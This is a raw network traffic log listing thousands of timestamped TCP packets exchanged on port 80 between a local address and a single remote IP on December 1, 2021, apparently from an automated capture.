Dec 1, 2021 09:13:57.996870041 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996887922 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996906996 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996921062 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.996923923 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996942043 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996959925 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996978045 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996997118 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997009039 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.997014999 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997031927 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997076988 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.997823000 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997843027 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997862101 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997879028 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997891903 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.997898102 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997915983 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997935057 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997952938 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997967005 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.997970104 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.997988939 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998006105 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998023033 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998040915 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998058081 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998075962 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998096943 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998101950 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998115063 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998121977 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998132944 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998150110 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998167038 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998184919 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998203039 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998219967 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998238087 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998255968 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998272896 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998281956 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998294115 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998311043 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998328924 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998346090 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998346090 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998364925 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998382092 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998399019 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998399973 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998419046 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998435974 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998450041 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998454094 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998471022 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998487949 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998500109 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998506069 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998524904 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998543024 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998553991 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998564005 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998580933 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998598099 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998605967 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998616934 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998635054 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998651981 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998658895 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998670101 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998688936 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998707056 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998708010 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998725891 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998744011 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998756886 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998760939 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998779058 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998796940 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998806000 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998816013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998832941 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998852015 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998855114 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998868942 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998888016 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998905897 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998907089 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998923063 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998940945 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998964071 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.998970032 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.998989105 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999006033 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999013901 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999026060 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999044895 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999063015 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999070883 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999082088 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999099970 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999116898 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999126911 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999135017 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999152899 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999171019 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999178886 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999188900 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999207020 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999226093 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999232054 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999243021 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999263048 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999280930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999289989 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999299049 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999315977 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999334097 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999339104 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999351978 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999370098 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999387026 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999396086 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999403954 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999422073 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999438047 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999445915 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999455929 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999474049 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999491930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999494076 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999510050 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999526978 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999545097 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999555111 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999564886 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999583006 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999599934 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999600887 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999618053 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999635935 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999651909 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999654055 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999671936 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999689102 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999699116 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999707937 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999725103 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999742985 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999748945 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999759912 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999779940 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999797106 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999799013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999855995 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.999859095 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999877930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999896049 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999912977 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999928951 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999947071 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999964952 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.999974966 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.000036955 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.000329018 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000345945 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000389099 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.000418901 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000436068 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000453949 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000471115 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000526905 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000545979 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000565052 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000566006 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.000583887 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000602961 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000619888 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000637054 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000642061 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.000654936 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000673056 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000685930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000696898 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.000699997 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000727892 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000745058 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000751972 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.000762939 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000781059 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.000813007 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.000859022 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.003251076 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.054647923 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.054717064 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.054750919 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.054785013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.054816008 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.054833889 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.054850101 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.054867983 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.054883003 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.054893017 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.054914951 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.054946899 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.054956913 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.054979086 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055011034 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055020094 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.055043936 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055073977 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055083036 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.055107117 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055139065 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055147886 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.055169106 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055201054 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055213928 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.055233002 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055264950 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055274963 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.055298090 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055327892 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.055337906 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.057277918 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.057357073 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.057358980 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.057389021 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.057421923 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.057434082 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.057452917 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.057491064 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.057856083 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.057907104 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.057939053 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.057949066 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.057971954 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058006048 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058007956 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058036089 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058068991 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058072090 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058100939 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058131933 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058136940 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058163881 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058196068 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058199883 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058228016 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058262110 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058264017 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058295012 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058330059 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058331966 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058365107 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058394909 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058398962 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058428049 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058459044 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058463097 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058491945 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058523893 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058526993 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058553934 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058587074 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058588982 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058619022 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058649063 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058657885 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058681011 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058711052 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058716059 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058743000 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058777094 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058779001 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058808088 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058840990 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058850050 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058872938 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058914900 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058924913 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.058948040 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058979034 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.058983088 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059010983 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059043884 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059046984 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059073925 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059107065 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059109926 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059139013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059170961 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059176922 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059204102 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059236050 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059240103 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059268951 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059300900 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059304953 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059331894 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059365034 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059367895 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059396982 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059428930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059437990 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059461117 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059494019 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059497118 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059525967 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059557915 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059561014 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059588909 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059622049 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059626102 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059653997 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059684038 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059690952 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059716940 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059747934 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059752941 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059779882 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059813023 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059818029 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059844017 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059876919 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059880972 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059909105 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059940100 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.059942961 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.059973001 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060003996 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060008049 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060036898 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060071945 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060079098 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060112953 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060144901 CET	80	49763	95.213.165.249	192.168.2.4
